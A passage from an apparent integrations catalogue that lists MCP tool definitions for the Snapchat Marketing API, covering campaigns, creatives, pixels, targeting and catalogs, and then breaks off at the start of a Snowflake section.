(read) — Fetch the change logs for a Campaign via GET /v1/campaigns/{campaign_id}/external_changelogs GET /api/v1/snapchat/campaigns/{campaign_id}/external_changelogs. Scopes: snapchat-marketing-api. snapchat_get_v1_campaigns_by_campaign_id_stats (read) — Get Campaign Stats via GET /v1/campaigns/{campaign_id}/stats GET /api/v1/snapchat/campaigns/{campaign_id}/stats. Scopes: snapchat-marketing-api. snapchat_get_v1_campaigns_by_campaign_id_stats_report (read) — Asynchronous reporting requests via GET /v1/campaigns/{campaign_id}/stats_report GET /api/v1/snapchat/campaigns/{campaign_id}/stats_report. Scopes: snapchat-marketing-api. snapchat_get_v1_catalogs_by_catalog_id (read) — Get a specific Catalog via GET /v1/catalogs/{catalog_id} GET /api/v1/snapchat/catalogs/{catalog_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_catalogs_by_catalog_id_product_feeds (read) — Get all Product Feeds via GET /v1/catalogs/{catalog_id}/product_feeds GET /api/v1/snapchat/catalogs/{catalog_id}/product_feeds. Scopes: snapchat-marketing-api. snapchat_get_v1_catalogs_by_catalog_id_product_sets (read) — Get All Product Sets via GET /v1/catalogs/{catalog_id}/product_sets GET /api/v1/snapchat/catalogs/{catalog_id}/product_sets. Scopes: snapchat-marketing-api. snapchat_get_v1_catalogs_by_catalog_id_roles (read) — Get all Roles for Catalog via GET /v1/catalogs/{catalog_id}/roles GET /api/v1/snapchat/catalogs/{catalog_id}/roles. Scopes: snapchat-marketing-api. snapchat_get_v1_creatives_by_creative_id (read) — Get a Specific Creative via GET /v1/creatives/{creative_id} GET /api/v1/snapchat/creatives/{creative_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_creatives_by_creative_id_creative_preview (read) — Generate Snap hosted preview page via GET /v1/creatives/{creative_id}/creative_preview GET /api/v1/snapchat/creatives/{creative_id}/creative_preview. Scopes: snapchat-marketing-api. snapchat_get_v1_creatives_by_creative_id_external_changelogs (read) — Fetch the change logs for a Creative via GET /v1/creatives/{creative_id}/external_changelogs GET /api/v1/snapchat/creatives/{creative_id}/external_changelogs. Scopes: snapchat-marketing-api. snapchat_get_v1_creatives_by_creative_id_snapcode (read) — Get Snapcode preview for a Creative via GET /v1/creatives/{creative_id}/snapcode GET /api/v1/snapchat/creatives/{creative_id}/snapcode. Scopes: snapchat-marketing-api. snapchat_get_v1_creatives_by_creative_id_stats (read) — Fetching reporting for a Creative via GET /v1/creatives/{creative_id}/stats GET /api/v1/snapchat/creatives/{creative_id}/stats. Scopes: snapchat-marketing-api. snapchat_get_v1_dynamic_templates_by_dynamic_template_id (read) — Get Dynamic Template by ID via GET /v1/dynamic_templates/{dynamic_template_id} GET /api/v1/snapchat/dynamic_templates/{dynamic_template_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_dynamic_templates_by_dynamic_template_id_external_changelogs (read) — Fetch the change logs for a Dynamic Template via GET /v1/dynamic_templates/{dynamic_template_id}/external_changelogs GET /api/v1/snapchat/dynamic_templates/{dynamic_template_id}/external_changelogs. Scopes: snapchat-marketing-api. snapchat_get_v1_event_details_by_event_details_id (read) — Get an Event Details entity via GET /v1/event_details/{event_details_id} GET /api/v1/snapchat/event_details/{event_details_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_fundingsources_by_funding_source_id (read) — Get a Specific Funding Source via GET /v1/fundingsources/{funding_source_id} GET /api/v1/snapchat/fundingsources/{funding_source_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_interaction_zones_by_interaction_zone_id (read) — Get Interaction Zone using Interaction Zone Id via GET /v1/interaction_zones/{interaction_zone_id} GET /api/v1/snapchat/interaction_zones/{interaction_zone_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_lead_gen_forms_by_form_id_integrations (read) — Get All Webhook Integrations under a Form via GET /v1/lead_gen/forms/{form_id}/integrations GET /api/v1/snapchat/lead_gen/forms/{form_id}/integrations. Scopes: snapchat-marketing-api. snapchat_get_v1_lead_gen_integrations_by_integration_id_test (read) — Send Test Lead Data via GET /v1/lead_gen/integrations/{integration_id}/test GET /api/v1/snapchat/lead_gen/integrations/{integration_id}/test. Scopes: snapchat-marketing-api. snapchat_get_v1_lead_generation_forms_by_lead_generation_form_id (read) — Get Lead Generation Form using Lead Generation Id via GET /v1/lead_generation_forms/{lead_generation_form_id} GET /api/v1/snapchat/lead_generation_forms/{lead_generation_form_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_me (read) — Get Authenicated User via GET /v1/me GET /api/v1/snapchat/me. Scopes: snapchat-marketing-api. snapchat_get_v1_me_organizations (read) — Get All Organizations with Ad Accounts via GET /v1/me/organizations GET /api/v1/snapchat/me/organizations. Scopes: snapchat-marketing-api. snapchat_get_v1_media_by_media_id (read) — Get a Specific Media via GET /v1/media/{media_id} GET /api/v1/snapchat/media/{media_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_media_by_media_id_lens_preview (read) — Get Lens Preview Media via GET /v1/media/{media_id}/lens_preview GET /api/v1/snapchat/media/{media_id}/lens_preview. Scopes: snapchat-marketing-api. snapchat_get_v1_media_by_media_id_preview (read) — Get Preview for a Specific Media via GET /v1/media/{media_id}/preview GET /api/v1/snapchat/media/{media_id}/preview. Scopes: snapchat-marketing-api. snapchat_get_v1_media_by_media_id_stats (read) — Fetching reporting for a Media via GET /v1/media/{media_id}/stats GET /api/v1/snapchat/media/{media_id}/stats. Scopes: snapchat-marketing-api. snapchat_get_v1_media_by_media_id_thumbnail (read) — Get Thumbnail for a Specific Media via GET /v1/media/{media_id}/thumbnail GET /api/v1/snapchat/media/{media_id}/thumbnail. Scopes: snapchat-marketing-api. snapchat_get_v1_members_by_member_id (read) — Get a specific Member via GET /v1/members/{member_id} GET /api/v1/snapchat/members/{member_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_members_by_member_id_roles (read) — Get Roles for Member via GET /v1/members/{member_id}/roles GET /api/v1/snapchat/members/{member_id}/roles. Scopes: snapchat-marketing-api. snapchat_get_v1_mobile_apps_by_id_event_quality_scores (read) — Get event quality scores via GET /v1/mobile_apps/{id}/event_quality_scores GET /api/v1/snapchat/mobile_apps/{id}/event_quality_scores. Scopes: snapchat-marketing-api. snapchat_get_v1_mobile_apps_by_mobile_app_id (read) — Get a specific Snap App via GET /v1/mobile_apps/{mobile_app_id} GET /api/v1/snapchat/mobile_apps/{mobile_app_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_mobile_apps_by_mobile_app_id_skadnetwork_adsquads (read) — SKAdnetwork AdSquad ecid status check via GET /v1/mobile_apps/{mobile_app_id}/skadnetwork_adsquads GET /api/v1/snapchat/mobile_apps/{mobile_app_id}/skadnetwork_adsquads. Scopes: snapchat-marketing-api. snapchat_get_v1_mobile_apps_by_snap_app_id_campaign_eligibilities (read) — Snap App ID - Conversion Window availability via GET /v1/mobile_apps/{snap_app_id}/campaign_eligibilities GET /api/v1/snapchat/mobile_apps/{snap_app_id}/campaign_eligibilities. Scopes: snapchat-marketing-api. snapchat_get_v1_mobile_apps_by_snap_app_id_ecid_status (read) — SKAdNetwork Campaign ID check via GET /v1/mobile_apps/{snap_app_id}/ecid_status GET /api/v1/snapchat/mobile_apps/{snap_app_id}/ecid_status. Scopes: snapchat-marketing-api. snapchat_get_v1_organizations_by_id (read) — Get a Specific Organization via GET /v1/organizations/{id} GET /api/v1/snapchat/organizations/{id}. Scopes: snapchat-marketing-api. snapchat_get_v1_organizations_by_organization_id_adaccounts (read) — Get All Ad Accounts via GET /v1/organizations/{organization_id}/adaccounts GET /api/v1/snapchat/organizations/{organization_id}/adaccounts. Scopes: snapchat-marketing-api. snapchat_get_v1_organizations_by_organization_id_billingcenters (read) — Get all Billing Centers via GET /v1/organizations/{organization_id}/billingcenters GET /api/v1/snapchat/organizations/{organization_id}/billingcenters. Scopes: snapchat-marketing-api. snapchat_get_v1_organizations_by_organization_id_catalogs (read) — Get All Catalogs via GET /v1/organizations/{organization_id}/catalogs GET /api/v1/snapchat/organizations/{organization_id}/catalogs. Scopes: snapchat-marketing-api. snapchat_get_v1_organizations_by_organization_id_fundingsources (read) — Get All Funding Sources via GET /v1/organizations/{organization_id}/fundingsources GET /api/v1/snapchat/organizations/{organization_id}/fundingsources. Scopes: snapchat-marketing-api. snapchat_get_v1_organizations_by_organization_id_members (read) — Get all Members of an Organization via GET /v1/organizations/{organization_id}/members GET /api/v1/snapchat/organizations/{organization_id}/members. Scopes: snapchat-marketing-api. snapchat_get_v1_organizations_by_organization_id_mobile_apps (read) — Get all Snap Apps under an Organization via GET /v1/organizations/{organization_id}/mobile_apps GET /api/v1/snapchat/organizations/{organization_id}/mobile_apps. Scopes: snapchat-marketing-api. snapchat_get_v1_organizations_by_organization_id_pixels (read) — Get all Pixels under an Organization via GET /v1/organizations/{organization_id}/pixels GET /api/v1/snapchat/organizations/{organization_id}/pixels. Scopes: snapchat-marketing-api. snapchat_get_v1_organizations_by_organization_id_roles (read) — Get all Roles in Organization via GET /v1/organizations/{organization_id}/roles GET /api/v1/snapchat/organizations/{organization_id}/roles. Scopes: snapchat-marketing-api. snapchat_get_v1_organizations_by_organization_id_transactions (read) — Get all Transactions via GET /v1/organizations/{organization_id}/transactions GET /api/v1/snapchat/organizations/{organization_id}/transactions. Scopes: snapchat-marketing-api. snapchat_get_v1_pixels_by_id_custom_conversions (read) — Get custom conversions via GET /v1/pixels/{id}/custom_conversions GET /api/v1/snapchat/pixels/{id}/custom_conversions. Scopes: snapchat-marketing-api. snapchat_get_v1_pixels_by_id_event_quality_scores (read) — Get event quality scores via GET /v1/pixels/{id}/event_quality_scores GET /api/v1/snapchat/pixels/{id}/event_quality_scores. Scopes: snapchat-marketing-api. snapchat_get_v1_pixels_by_pixel_id (read) — Get a Specific Pixel via GET /v1/pixels/{pixel_id} GET /api/v1/snapchat/pixels/{pixel_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_pixels_by_pixel_id_campaign_eligibilities (read) — Pixel ID - Conversion Window availability via GET /v1/pixels/{pixel_id}/campaign_eligibilities GET /api/v1/snapchat/pixels/{pixel_id}/campaign_eligibilities. Scopes: snapchat-marketing-api. snapchat_get_v1_pixels_by_pixel_id_domains_stats (read) — Get Pixel Domains via GET /v1/pixels/{pixel_id}/domains/stats GET /api/v1/snapchat/pixels/{pixel_id}/domains/stats. Scopes: snapchat-marketing-api. snapchat_get_v1_pixels_by_pixel_id_stats (read) — Get Pixel Stats for a specific domain via GET /v1/pixels/{pixel_id}/stats GET /api/v1/snapchat/pixels/{pixel_id}/stats. Scopes: snapchat-marketing-api. snapchat_get_v1_product_feeds_by_product_feed_id (read) — Get a specific Product Feed via GET /v1/product_feeds/{product_feed_id} GET /api/v1/snapchat/product_feeds/{product_feed_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_product_feeds_by_product_feed_id_feed_uploads (read) — Get a Feed Upload via GET /v1/product_feeds/{product_feed_id}/feed_uploads GET /api/v1/snapchat/product_feeds/{product_feed_id}/feed_uploads. Scopes: snapchat-marketing-api. snapchat_get_v1_public_profiles_by_profile_id_ad_partner_profiles (read) — Active AD_LEVEL Partnership Required via GET /v1/public_profiles/{profile_id}/ad_partner_profiles GET /api/v1/snapchat/public_profiles/{profile_id}/ad_partner_profiles. Scopes: snapchat-marketing-api. snapchat_get_v1_segments_by_segment_id (read) — Get a specific Audience Segment via GET /v1/segments/{segment_id} GET /api/v1/snapchat/segments/{segment_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_demographics_advanced_demographics (read) — Demographics - Advanced Demographics via GET /v1/targeting/demographics/advanced_demographics GET /api/v1/snapchat/targeting/demographics/advanced_demographics. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_demographics_age_group (read) — Demographics - Age Groups via GET /v1/targeting/demographics/age_group GET /api/v1/snapchat/targeting/demographics/age_group. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_demographics_gender (read) — Demographics - Gender via GET /v1/targeting/demographics/gender GET /api/v1/snapchat/targeting/demographics/gender. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_demographics_languages (read) — Demographics - Language via GET /v1/targeting/demographics/languages GET /api/v1/snapchat/targeting/demographics/languages. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_device_by_os_type_os_version (read) — Device - OS Version via GET /v1/targeting/device/{os_type}/os_version GET /api/v1/snapchat/targeting/device/{os_type}/os_version. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_device_carrier (read) — Device - Carrier via GET /v1/targeting/device/carrier GET /api/v1/snapchat/targeting/device/carrier. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_device_connection_type (read) — Device - Connection Type via GET /v1/targeting/device/connection_type GET /api/v1/snapchat/targeting/device/connection_type. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_device_marketing_name (read) — Device - Make via GET /v1/targeting/device/marketing_name GET /api/v1/snapchat/targeting/device/marketing_name. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_device_os_type (read) — Device - OS Type via GET /v1/targeting/device/os_type GET /api/v1/snapchat/targeting/device/os_type. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_geo_by_country_code_metro (read) — Geolocation - Metro / DMA via GET /v1/targeting/geo/{country_code}/metro GET /api/v1/snapchat/targeting/geo/{country_code}/metro. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_geo_by_country_code_postal_code (read) — Zipcode via GET /v1/targeting/geo/{country_code}/postal_code GET /api/v1/snapchat/targeting/geo/{country_code}/postal_code. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_geo_by_country_code_region (read) — Geolocation - Region / State via GET /v1/targeting/geo/{country_code}/region GET /api/v1/snapchat/targeting/geo/{country_code}/region. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_geo_country (read) — Geolocation - Country via GET /v1/targeting/geo/country GET /api/v1/snapchat/targeting/geo/country. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_interests_dlxc (read) — Get Oracle Datalogix DLXC Interest Targeting Options via GET /v1/targeting/interests/dlxc GET /api/v1/snapchat/targeting/interests/dlxc. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_interests_dlxp (read) — Get Oracle Datalogix DLXP Interest Targeting Options via GET /v1/targeting/interests/dlxp GET /api/v1/snapchat/targeting/interests/dlxp. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_interests_dlxs (read) — Get Oracle Datalogix DLXS Interest Targeting Options via GET /v1/targeting/interests/dlxs GET /api/v1/snapchat/targeting/interests/dlxs. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_interests_nln (read) — Get Nielsen Interest Targeting Options via GET /v1/targeting/interests/nln GET /api/v1/snapchat/targeting/interests/nln. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_location_categories_loi (read) — Location - Categories via GET /v1/targeting/location/categories_loi GET /api/v1/snapchat/targeting/location/categories_loi. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_v1_interests_scls (read) — Interests - Snap Lifestyle Categories via GET /v1/targeting/v1/interests/scls GET /api/v1/snapchat/targeting/v1/interests/scls. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_v1_interests_shp (read) — Interests - First Party Shopper Segments via GET /v1/targeting/v1/interests/shp GET /api/v1/snapchat/targeting/v1/interests/shp. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_v1_interests_vac (read) — Interests - First Party Visitation Segments via GET /v1/targeting/v1/interests/vac GET /api/v1/snapchat/targeting/v1/interests/vac. Scopes: snapchat-marketing-api. snapchat_get_v1_targeting_v1_options (read) — Targeting Type Support by Country via GET /v1/targeting/v1/options GET /api/v1/snapchat/targeting/v1/options. Scopes: snapchat-marketing-api. snapchat_patch_v1_adaccounts_by_ad_account_id_campaigns_by_campaign_id (write) — Patch a Campaign (PATCH) via PATCH /v1/adaccounts/{ad_account_id}/campaigns/{campaign_id} PATCH /api/v1/snapchat/adaccounts/{ad_account_id}/campaigns/{campaign_id}. Scopes: snapchat-marketing-api. snapchat_patch_v1_adaccounts_by_ad_account_id_creatives_by_creative_id (write) — Patch a Creative (PATCH) via PATCH /v1/adaccounts/{ad_account_id}/creatives/{creative_id} PATCH /api/v1/snapchat/adaccounts/{ad_account_id}/creatives/{creative_id}. Scopes: snapchat-marketing-api. snapchat_patch_v1_adsquads_by_ad_squad_id_ads_by_ad_id (write) — Patch an Ad (PATCH) via PATCH /v1/adsquads/{ad_squad_id}/ads/{ad_id} PATCH /api/v1/snapchat/adsquads/{ad_squad_id}/ads/{ad_id}. Scopes: snapchat-marketing-api. snapchat_patch_v1_campaigns_by_campaign_id_adsquads_by_ad_squad_id (write) — Patch an Ad Squad (PATCH) via PATCH /v1/campaigns/{campaign_id}/adsquads/{ad_squad_id} PATCH /api/v1/snapchat/campaigns/{campaign_id}/adsquads/{ad_squad_id}. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_ad_squad_outcome_estimates_v2 (read) — Create an Ad Squad Outcome Request via POST /v1/adaccounts/{ad_account_id}/ad_squad_outcome_estimates_v2 POST /api/v1/snapchat/adaccounts/{ad_account_id}/ad_squad_outcome_estimates_v2. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_audience_size_v2 (read) — By Ad Squad Spec via POST /v1/adaccounts/{ad_account_id}/audience_size_v2 POST /api/v1/snapchat/adaccounts/{ad_account_id}/audience_size_v2. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_campaigns (write) — Create a Campaign via POST /v1/adaccounts/{ad_account_id}/campaigns POST /api/v1/snapchat/adaccounts/{ad_account_id}/campaigns. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_creative_elements (write) — Creative Elements via POST /v1/adaccounts/{ad_account_id}/creative_elements POST /api/v1/snapchat/adaccounts/{ad_account_id}/creative_elements. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_creatives (write) — Create a Snap Ad with Deep Link attachment via POST /v1/adaccounts/{ad_account_id}/creatives POST /api/v1/snapchat/adaccounts/{ad_account_id}/creatives. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_dynamic_templates (write) — Create Dynamic Template via POST /v1/adaccounts/{ad_account_id}/dynamic_templates POST /api/v1/snapchat/adaccounts/{ad_account_id}/dynamic_templates. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_event_details (write) — Create an Event Details entity via POST /v1/adaccounts/{ad_account_id}/event_details POST /api/v1/snapchat/adaccounts/{ad_account_id}/event_details. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_interaction_zones (write) — Interaction Zones via POST /v1/adaccounts/{ad_account_id}/interaction_zones POST /api/v1/snapchat/adaccounts/{ad_account_id}/interaction_zones. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_leads_report (write) — Create Lead Gen Report via POST /v1/adaccounts/{ad_account_id}/leads_report POST /api/v1/snapchat/adaccounts/{ad_account_id}/leads_report. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_media (write) — Create Media via POST /v1/adaccounts/{ad_account_id}/media POST /api/v1/snapchat/adaccounts/{ad_account_id}/media. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_offer_disclaimers (write) — Create offer disclaimers via POST /v1/adaccounts/{ad_account_id}/offer_disclaimers POST /api/v1/snapchat/adaccounts/{ad_account_id}/offer_disclaimers. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_reserved_forecasting (write) — Create a Forecasting Request via POST /v1/adaccounts/{ad_account_id}/reserved_forecasting POST /api/v1/snapchat/adaccounts/{ad_account_id}/reserved_forecasting. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_roles (write) — Create Ad Account Role via POST /v1/adaccounts/{ad_account_id}/roles POST /api/v1/snapchat/adaccounts/{ad_account_id}/roles. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_segments (write) — Create a Profile Engagement Audience via POST /v1/adaccounts/{ad_account_id}/segments POST /api/v1/snapchat/adaccounts/{ad_account_id}/segments. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_ad_account_id_targeting_insights (read) — Get Audience Insights via POST /v1/adaccounts/{ad_account_id}/targeting_insights POST /api/v1/snapchat/adaccounts/{ad_account_id}/targeting_insights. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_destination_ad_account_id_media_copy (write) — Copy Media via POST /v1/adaccounts/{destination_ad_account_id}/media_copy POST /api/v1/snapchat/adaccounts/{destination_ad_account_id}/media_copy. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_id_audience_size (read) — By Targeting Spec via POST /v1/adaccounts/{id}/audience_size POST /api/v1/snapchat/adaccounts/{id}/audience_size. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_id_bid_estimate (read) — By Targeting Spec via POST /v1/adaccounts/{id}/bid_estimate POST /api/v1/snapchat/adaccounts/{id}/bid_estimate. Scopes: snapchat-marketing-api. snapchat_post_v1_adaccounts_by_id_get_ads_by_ids (read) — Create get ads by ids via POST /v1/adaccounts/{id}/get_ads_by_ids POST /api/v1/snapchat/adaccounts/{id}/get_ads_by_ids. Scopes: snapchat-marketing-api. snapchat_post_v1_adsquads_by_ad_squad_id_ads (write) — Create an Ad via POST /v1/adsquads/{ad_squad_id}/ads POST /api/v1/snapchat/adsquads/{ad_squad_id}/ads. Scopes: snapchat-marketing-api. snapchat_post_v1_by_ad_account_id_get_adsquads_by_ids (read) — Fetch Multiple Ad Squads (POST) via POST /v1/adaccounts/{ad_account_id}/get_adsquads_by_ids POST /api/v1/snapchat/adaccounts/{ad_account_id}/get_adsquads_by_ids. Scopes: snapchat-marketing-api. snapchat_post_v1_by_ad_account_id_get_campaigns_by_ids (read) — Fetch Multiple Campaigns (POST) via POST /v1/adaccounts/{ad_account_id}/get_campaigns_by_ids POST /api/v1/snapchat/adaccounts/{ad_account_id}/get_campaigns_by_ids. Scopes: snapchat-marketing-api. snapchat_post_v1_by_ad_account_id_get_creatives_by_ids (read) — Fetch Multiple Creatives (POST) via POST /v1/adaccounts/{ad_account_id}/get_creatives_by_ids POST /api/v1/snapchat/adaccounts/{ad_account_id}/get_creatives_by_ids. Scopes: snapchat-marketing-api. snapchat_post_v1_by_ad_account_id_get_media_by_ids (read) — Fetch Multiple Media (POST) via POST /v1/adaccounts/{ad_account_id}/get_media_by_ids POST /api/v1/snapchat/adaccounts/{ad_account_id}/get_media_by_ids. Scopes: snapchat-marketing-api. snapchat_post_v1_campaigns_by_campaign_id_adsquads (write) — Create R&F Ad Squad via POST /v1/campaigns/{campaign_id}/adsquads POST /api/v1/snapchat/campaigns/{campaign_id}/adsquads. Scopes: snapchat-marketing-api. snapchat_post_v1_catalogs_by_catalog_id_facets (write) — Catalog Diagnostics via POST /v1/catalogs/{catalog_id}/facets POST /api/v1/snapchat/catalogs/{catalog_id}/facets. Scopes: snapchat-marketing-api. snapchat_post_v1_catalogs_by_catalog_id_flights_search (read) — Flight Search via POST /v1/catalogs/{catalog_id}/flights/search POST /api/v1/snapchat/catalogs/{catalog_id}/flights/search. Scopes: snapchat-marketing-api. snapchat_post_v1_catalogs_by_catalog_id_hotels_search (read) — Hotel Search via POST /v1/catalogs/{catalog_id}/hotels/search POST /api/v1/snapchat/catalogs/{catalog_id}/hotels/search. Scopes: snapchat-marketing-api. snapchat_post_v1_catalogs_by_catalog_id_product_feeds (write) — Create a Product Feed via POST /v1/catalogs/{catalog_id}/product_feeds POST /api/v1/snapchat/catalogs/{catalog_id}/product_feeds. Scopes: snapchat-marketing-api. snapchat_post_v1_catalogs_by_catalog_id_product_search (write) — Product Feed - Interaction support via POST /v1/catalogs/{catalog_id}/product_search POST /api/v1/snapchat/catalogs/{catalog_id}/product_search. Scopes: snapchat-marketing-api. snapchat_post_v1_catalogs_by_catalog_id_product_sets (write) — Create a Product Set via POST /v1/catalogs/{catalog_id}/product_sets POST /api/v1/snapchat/catalogs/{catalog_id}/product_sets. Scopes: snapchat-marketing-api. snapchat_post_v1_catalogs_by_catalog_id_products_search (read) — Product Search via POST /v1/catalogs/{catalog_id}/products/search POST /api/v1/snapchat/catalogs/{catalog_id}/products/search. Scopes: snapchat-marketing-api. snapchat_post_v1_catalogs_by_catalog_id_roles (write) — Create Catalog Role via POST /v1/catalogs/{catalog_id}/roles POST /api/v1/snapchat/catalogs/{catalog_id}/roles. Scopes: snapchat-marketing-api. snapchat_post_v1_lead_gen_integrations_public_webhook (write) — Create a new Webhook Integration via POST /v1/lead_gen/integrations/public_webhook POST /api/v1/snapchat/lead_gen/integrations/public_webhook. Scopes: snapchat-marketing-api. snapchat_post_v1_organizations_by_organization_id_adaccounts (write) — Create an Ad Account via POST /v1/organizations/{organization_id}/adaccounts POST /api/v1/snapchat/organizations/{organization_id}/adaccounts. Scopes: snapchat-marketing-api. snapchat_post_v1_organizations_by_organization_id_billingcenters (write) — Create a Billing Center via POST /v1/organizations/{organization_id}/billingcenters POST /api/v1/snapchat/organizations/{organization_id}/billingcenters. Scopes: snapchat-marketing-api. snapchat_post_v1_organizations_by_organization_id_catalogs (write) — Create a Catalog via POST /v1/organizations/{organization_id}/catalogs POST /api/v1/snapchat/organizations/{organization_id}/catalogs. Scopes: snapchat-marketing-api. snapchat_post_v1_organizations_by_organization_id_members (write) — Create Member via POST /v1/organizations/{organization_id}/members POST /api/v1/snapchat/organizations/{organization_id}/members. Scopes: snapchat-marketing-api. snapchat_post_v1_organizations_by_organization_id_roles (write) — Create Organization Role via POST /v1/organizations/{organization_id}/roles POST /api/v1/snapchat/organizations/{organization_id}/roles. Scopes: snapchat-marketing-api. snapchat_post_v1_product_feeds_by_product_feed_id_feed_uploads (write) — Create a Feed Upload via POST /v1/product_feeds/{product_feed_id}/feed_uploads POST /api/v1/snapchat/product_feeds/{product_feed_id}/feed_uploads. Scopes: snapchat-marketing-api. snapchat_post_v1_segments_by_segment_id_users (write) — Adding Users via POST /v1/segments/{segment_id}/users POST /api/v1/snapchat/segments/{segment_id}/users. Scopes: snapchat-marketing-api. snapchat_put_v1_adaccounts_by_ad_account_id_campaigns (write) — Update a Campaign (PUT) via PUT /v1/adaccounts/{ad_account_id}/campaigns PUT /api/v1/snapchat/adaccounts/{ad_account_id}/campaigns. Scopes: snapchat-marketing-api. snapchat_put_v1_adaccounts_by_ad_account_id_dynamic_templates (write) — Update Dynamic Template via PUT /v1/adaccounts/{ad_account_id}/dynamic_templates PUT /api/v1/snapchat/adaccounts/{ad_account_id}/dynamic_templates. Scopes: snapchat-marketing-api. snapchat_put_v1_adaccounts_by_ad_account_id_pixels (write) — Update a Pixel - Ad Account level via PUT /v1/adaccounts/{ad_account_id}/pixels PUT /api/v1/snapchat/adaccounts/{ad_account_id}/pixels. Scopes: snapchat-marketing-api. snapchat_put_v1_adaccounts_by_ad_account_id_roles (write) — Update Ad Account Role via PUT /v1/adaccounts/{ad_account_id}/roles PUT /api/v1/snapchat/adaccounts/{ad_account_id}/roles. Scopes: snapchat-marketing-api. snapchat_put_v1_adaccounts_by_ad_account_id_segments (write) — Update an Audience Segment via PUT /v1/adaccounts/{ad_account_id}/segments PUT /api/v1/snapchat/adaccounts/{ad_account_id}/segments. Scopes: snapchat-marketing-api. snapchat_put_v1_adsquads_by_ad_squad_id_ads (write) — Update an Ad (PUT) via PUT /v1/adsquads/{ad_squad_id}/ads PUT /api/v1/snapchat/adsquads/{ad_squad_id}/ads. Scopes: snapchat-marketing-api. snapchat_put_v1_campaigns_by_campaign_id_adsquads (write) — Update an Ad Squad (PUT) via PUT /v1/campaigns/{campaign_id}/adsquads PUT /api/v1/snapchat/campaigns/{campaign_id}/adsquads. Scopes: snapchat-marketing-api. snapchat_put_v1_catalogs_by_catalog_id_product_feeds (write) — Update a Product Feed via PUT /v1/catalogs/{catalog_id}/product_feeds PUT /api/v1/snapchat/catalogs/{catalog_id}/product_feeds. Scopes: snapchat-marketing-api. snapchat_put_v1_catalogs_by_catalog_id_product_sets (write) — Update a Product Set via PUT /v1/catalogs/{catalog_id}/product_sets PUT /api/v1/snapchat/catalogs/{catalog_id}/product_sets. Scopes: snapchat-marketing-api. snapchat_put_v1_organizations_by_organization_id_adaccounts (write) — Update Ad Account via PUT /v1/organizations/{organization_id}/adaccounts PUT /api/v1/snapchat/organizations/{organization_id}/adaccounts. Scopes: snapchat-marketing-api. snapchat_put_v1_organizations_by_organization_id_billingcenters (write) — Update a Billing Center via PUT /v1/organizations/{organization_id}/billingcenters PUT /api/v1/snapchat/organizations/{organization_id}/billingcenters. Scopes: snapchat-marketing-api. snapchat_put_v1_organizations_by_organization_id_catalogs (write) — Update a Catalog via PUT /v1/organizations/{organization_id}/catalogs PUT /api/v1/snapchat/organizations/{organization_id}/catalogs. Scopes: snapchat-marketing-api. snapchat_put_v1_organizations_by_organization_id_pixels (write) — Update a Pixel - Organization level via PUT /v1/organizations/{organization_id}/pixels PUT /api/v1/snapchat/organizations/{organization_id}/pixels. Scopes: snapchat-marketing-api. snapchat_put_v1_product_sets_by_product_set_id (write) — Delete a Product Set via PUT /v1/product_sets/{product_set_id} PUT /api/v1/snapchat/product_sets/{product_set_id}. Scopes: snapchat-marketing-api. ================================================================================ ## Snowflake URL: https://www.agenticfabriq.com/integrations/snowflake Section: Integrated Tools Snowflake — 62 MCP tools Provider key: snowflake. Scopes: snowflake:cortex, snowflake:ddl, snowflake:history, snowflake:identity, snowflake:metadata, snowflake:operate, snowflake:operate_warehouse, snowflake:pipelines, snowflake:query, snowflake:write. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST 